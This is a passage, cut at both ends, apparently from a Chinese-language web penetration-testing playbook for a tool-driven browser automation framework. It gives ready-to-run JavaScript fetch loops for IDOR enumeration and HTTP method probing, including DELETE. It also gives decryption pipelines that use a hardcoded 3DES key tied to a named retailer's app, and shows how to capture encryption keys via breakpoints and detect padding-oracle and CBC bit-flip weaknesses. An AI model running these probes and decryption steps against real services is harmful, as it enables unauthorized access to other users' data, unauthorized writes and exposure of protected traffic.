results.push({url:'/api/'+res+'/'+id,status:r.status,
preview:r.status===200?body:''});
}
}
return JSON.stringify(results.filter(r=>r.status===200),null,2);
})()")
行为变化判断标准:
| 端点响应 | 行为变化类型 | 后续操作 |
|---|---|---|
/api/users/1 → 200 + 他人数据 |
🔴 行为变化:IDOR 面暴露 | 枚举相邻 ID,见 Phase 2.2 |
/api/users/1 → 200 + 自己数据 |
⚠️ 后端绑定 token,路径参数被忽略 | 换无效 token 确认是否真正绑定 |
DELETE /api/users/1 → 200 |
🔴 行为变化:越权写操作 | 立即确认并停止(避免误删真实数据) |
/api/users/undefined → 200 |
🔴 行为变化:未初始化参数路径 | 见 Phase 2.2.1 undefined IDOR |
/api/users/0 → 200 + 特殊数据 |
🔴 边界值未过滤 | 检查 ID=0 是否为特权账号 |
| 所有路径返回 404 | 路由前缀不匹配 | 检查 /v1/ /v2/ /rest/ 等版本前缀 |
# HTTP 方法枚举(确认允许方法 = 行为变化矩阵)
runtime_ops(action="runtime_eval", expression="(async ()=>{
var url='/api/<存活资源>/<id>';
var token='<token>';
var methods=['GET','POST','PUT','PATCH','DELETE','OPTIONS'];
var results=[];
for(var m of methods){
var init={method:m,headers:{'Authorization':'Bearer '+token,
'Content-Type':'application/json'}};
if(m!=='GET') init.body=JSON.stringify({});
var r=await fetch(url,init);
results.push({method:m,status:r.status});
}
return JSON.stringify(results,null,2);
})()")
// GET/PUT/DELETE 同时返回 200 → 越权写操作风险(行为变化最高优先级)
// OPTIONS 返回 Allow 头 → 直接读取服务端允许方法列表
Phase 3:流量解密分析
3.1 编码识别(第一步)
decrypt_ops(action="auto_detect_encoding", value="<未知编码值>")
# 返回 candidates: ["base64", "hex", "base64url", "url_encoded"] 等
3.2 单步解密
# AES-CBC(需 key 和 IV)
decrypt_ops(action="decrypt_payload",
value="<base64密文>",
algorithm="aes",
key="<key>",
iv="<iv>",
mode="cbc",
input_encoding="base64",
key_encoding="utf-8",
iv_encoding="utf-8")
# AES-ECB(无 IV)
decrypt_ops(action="decrypt_payload",
value="<base64密文>",
algorithm="aes",
key="<key>",
mode="ecb",
input_encoding="base64",
key_encoding="utf-8")
# 3DES-ECB(兼容 CryptoJS 零填充不足 24 字节 key)
decrypt_ops(action="decrypt_payload",
value="<base64密文>",
algorithm="3des",
key="ed1d2af1b7a9bc",
mode="ecb",
input_encoding="base64",
key_encoding="utf-8")
# RSA 解密(需 PEM 格式私钥)
decrypt_ops(action="decrypt_payload",
value="<base64密文>",
algorithm="rsa",
key="<PEM私钥>",
input_encoding="base64")
# MD5 / SHA / HMAC
decrypt_ops(action="decrypt_payload", value="<text>", algorithm="md5", input_encoding="utf-8")
decrypt_ops(action="decrypt_payload", value="<text>", algorithm="sha256", input_encoding="utf-8")
decrypt_ops(action="decrypt_payload", value="<data>", algorithm="hmac-sha256",
key="<key>", input_encoding="utf-8", key_encoding="utf-8")
3.3 多层解密流水线
# 三层解密:3DES-ECB → MD5-Key-Derive → AES-CBC(唯品会模式)
decrypt_ops(action="run_decrypt_pipeline",
value="<mina_edata_base64>",
steps=[
# Step 1: 3DES-ECB 解出 base_secret
{
"type": "3des",
"key": "ed1d2af1b7a9bc",
"mode": "ecb",
"input_encoding": "base64",
"key_encoding": "utf-8"
},
# Step 2: MD5 派生 AES key(base_secret + & + VIP_TANK)
{
"type": "md5-key-derive",
"key": "<VIP_TANK_session_token>",
"key_encoding": "utf-8"
},
# Step 3: AES-CBC 解密(key/iv 由流水线上下文自动注入)
{
"type": "aes",
"mode": "cbc",
"input_encoding": "base64"
}
])
# 通用二层:AES-CBC 响应解密 → JSON parse
decrypt_ops(action="run_decrypt_pipeline",
value="<加密响应体>",
steps=[
{"type": "aes", "key": "<key>", "iv": "<iv>", "mode": "cbc",
"input_encoding": "base64", "key_encoding": "utf-8"},
{"type": "base64"} # 如果 AES 输出仍是 base64
])
3.4 密码学攻击检测(v2.0 新增)
# ECB 模式检测 — 相同的 16 字节明文块产生相同的密文块
# 如果密文存在重复的 16 字节块 → ECB 模式 → 可进行块重排攻击
decrypt_ops(action="detect_ecb_pattern", value="<base64密文>")
# Padding Oracle 检测
# 修改密文末尾字节 → 观察服务端响应差异
# 500/padding error vs 200/data error → Oracle 存在
analysis_ops(action="compare_two_requests",
request_id_a="<原始请求>",
request_id_b="<篡改密文末尾字节的请求>")
# CBC Bit-Flip 检测
# 修改第 N 个密文 block → 精确翻转第 N+1 个明文 block 对应字节
# 适用于: role=user → role=admin 的加密 Cookie/Token
3.5 动态密钥追踪
如果静态分析无法确定 key/IV,使用断点追踪:
# 在加密函数调用前打断点
debugger_ops(action="break_on_xhr", url="/api/")
→ 拦截 XHR 请求,在加密前暂停
debugger_ops(action="get_paused_info")
→ 查看调用栈和作用域变量(含密钥值)
debugger_ops(action="evaluate_script",
expression="JSON.stringify({key: _aesKey, iv: _iv, mode: _cipherMode})")
→ 在断点处动态求值获取密钥
debugger_ops(action="step", action_type="into")
→ 单步进入加密函数
debugger_ops(action="resume_execution")
→ 恢复执行
3.6 运行时加密发现
decrypt_ops(action="discover_runtime_crypto_functions")
→ 自动发现页面中可调用的加密/解密函数
decrypt_ops(action="call_runtime_crypto_function",
function_name="<函数名>",
args=["<参数1>", "<参数2>"])
→ 在运行时调用加密函数,获取输入输出对照
Phase 4:逆向分析与代码审计
4.1 代码保护类型识别
# 第一步: 判断代码保护级别
debugger_ops(action="search_in_sources", query="webpackJsonp|__webpack_require__|webpackChunk")
→ Webpack 打包 → 跳转 4.2
debugger_ops(action="search_in_sources", query="_0x[a-f0-9]{4,6}|var _0x|\\\\u0030|\\\\x30")
→ OB 混淆 (obfuscator.io) → 跳转 4.3
debugger_ops(action="search_in_sources",
query="while.*true.*switch|for.*;;.*switch|case\\s+\\d{4,}:")
→ JSVMP 虚拟机保护 → 跳转 4.4
4.2 Webpack 拆包分析
# 列出所有 chunk
debugger_ops(action="search_in_sources", query="webpackChunkName|chunk-.*\\.js")
# 搜索特定 chunk 的内容
debugger_ops(action="get_script_source", url="<chunk URL>")
# 定位业务逻辑 chunk(按模块名搜索)
debugger_ops(acti
*Truncated - read the full file at https://github.com/eeeeeeeeee-code/e0e1-wx/blob/1f8dded6a